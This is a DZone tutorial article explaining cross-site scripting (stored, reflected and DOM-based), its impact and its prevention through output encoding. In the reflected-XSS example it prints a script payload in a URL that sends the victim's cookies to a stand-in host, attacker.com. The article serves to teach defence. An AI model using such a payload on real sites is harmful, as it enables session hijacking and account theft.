The Cross-Site Scripting (XSS) Vulnerability: Definition and Prevention
In this post, a security expert explains how cross-site scripting exploits vulnerabilities in web applications and how to prevent this attack from occurring.
Join the DZone community and get the full member experience.Join For Free
To understand the cross-site scripting vulnerability, you have to first understand the basic concept of the Same Origin Policy (SOP), which forbids websites to retrieve content from pages with another origin. By forbidding access to cross-origin content, random websites cannot read or modify data from your Facebook page or PayPal account while logged in to them.
SOP is one of the most important security principles in every web browser. For example, the page
https://example.com/index.html can access content from
https://attacker.com/index.html cannot access content from
The Cross-Site Scripting (XSS) Vulnerability
Cross-Site Scripting, also known as XSS, is a way of bypassing the SOP concept. Whenever HTML code is generated dynamically, and the user input is not sanitized and is reflected on the page, an attacker could insert his own HTML code. The web browser will still show the user's code since it pertains to the website where it is injected.
Different Types of Cross-Site Scripting Vulnerabilities
There are mainly three different types of cross-site scripting vulnerabilities: Stored, Reflected, and DOM XSS. Below you can find a detailed technical explanation of each of them.
Stored Cross-Site Scripting Vulnerability
Stored cross-site scripting vulnerabilities happen when the payload is saved, for example, in a database and then is executed when a user opens the page. Stored cross-site scripting is very dangerous for a number of reasons:
- The payload is not visible for the browser's XSS filter.
- Users might accidentally trigger the payload if they visit the affected page, while a crafted URL or specific form inputs would be required for exploiting reflected XSS.
Example of a Stored XSS
A stored XSS vulnerability can happen if the username of an online forum member is not properly sanitized when it is printed on the page. In such cases, an attacker can insert malicious code when registering a new user on the form. When the username is reflected on the forum page, it will look like this:
Registered since: 2016
The above code is triggered every time a user visits this forum section, and it sends the users' cookies of the forum to the attacker, who is then able to use them to hijack their sessions. Stored XSS can be a very dangerous vulnerability since it can have the effect of a worm, especially when exploited on popular pages.
For example, imagine a forum or social media website that has a public facing page that is vulnerable to a stored XSS vulnerability, such as the profile page of the user. If the attacker is able to place a malicious payload that adds itself to the profile page, each time someone opens it the payload will spread itself with an exponential growth.
Reflected Cross-Site Scripting (XSS) Vulnerability
A reflected XSS vulnerability happens when the user input from a URL or POST data is reflected on the page without being stored. This means that an attacker has to send a crafted link or post form to the victim to insert the payload, and the victim should click the link. This kind of payload is also generally caught by built-in browser XSS filters, like in Chrome, Internet Explorer or Edge.
Example of a Reflected XSS
As an example, we will use a search functionality on a news website, which works by appending the user's input, which is taken from the GET request, to the q parameter, as per the example below:
In the search results, the website reflects the content of the query that the user searched for, such as:
You searched for "data breach":
If the Search functionality is vulnerable to a reflected cross-site scripting vulnerability, the attacker can send the victim a link such as:
https://example.com/news?q=<script>document.location='https://attacker.com/log.php?c=' + encodeURIComponent(document.cookie)</script>
Once the victim clicks on the link, the website will display the following:
You searched for "<script>document.location='https://attacker.com/log.php?c=' + document.cookie</script>":
The HTML source code, which is reflecting the attacker's malicious code, redirects the victim to a website that is controlled by the attacker, which can then record the user's current cookie for example.com as a GET parameter.
DOM-Based Cross-Site Scripting Vulnerability
The DOM-based XSS vulnerability happens in the DOM (Document Object Model) instead of part of the HTML. Read DOM-Based Cross-Site Scripting (XSS) vulnerability for a detailed explanation of DOM XSS.
Impacts of the Cross-site Scripting Vulnerability
The impact of an exploited XSS vulnerability varies a lot. It ranges from Session Hijacking to the disclosure of sensitive data, CSRF attacks, and more. By exploiting a cross-site scripting vulnerability an attacker can impersonate the victim and take over the account. If the victim has administrative rights it might even lead to code execution on the server, depending on the application and the privileges of the account. Read about the apache.org JIRA incident for more information on how an XSS vulnerability was used in a successful attack which also led to code execution.
Preventing XSS Vulnerabilities
To prevent cross-site scripting vulnerabilities, it is very important to apply a context-dependent output encoding. In some cases, it might be enough to encode the HTML special characters, such as opening and closing tags. In other cases a correctly applied URL encoding is necessary. Links should generally be disallowed if they don't begin with a whitelisted protocol such as
https://, thus preventing the use of URI schemes such as
Even though most modern web browsers have an inbuilt XSS filter they should not be seen as an alternative to sanitization, they cannot catch all kinds of cross-site scripting attacks and are not so strict that they will not lead to false positives, which would prevent some pages from loading correctly. A web browser's XSS filter should only be a "second line of defense" and the idea is to minimize the impact of existing vulnerabilities.
Developers should not use blacklists as there is a variety of bypasses for them. Another thing they should avoid using is the stripping of dangerous functions and characters as the browsers' XSS filters can't recognize the dangerous payloads when the output is tampered with, allowing for possible bypasses. That being said, the only recommended prevention of XSS is encoding as mentioned above.
Vulnerability Classification and Severity Table
Published at DZone with permission of Sven Morgenroth, DZone MVB. See the original article here.
Opinions expressed by DZone contributors are their own.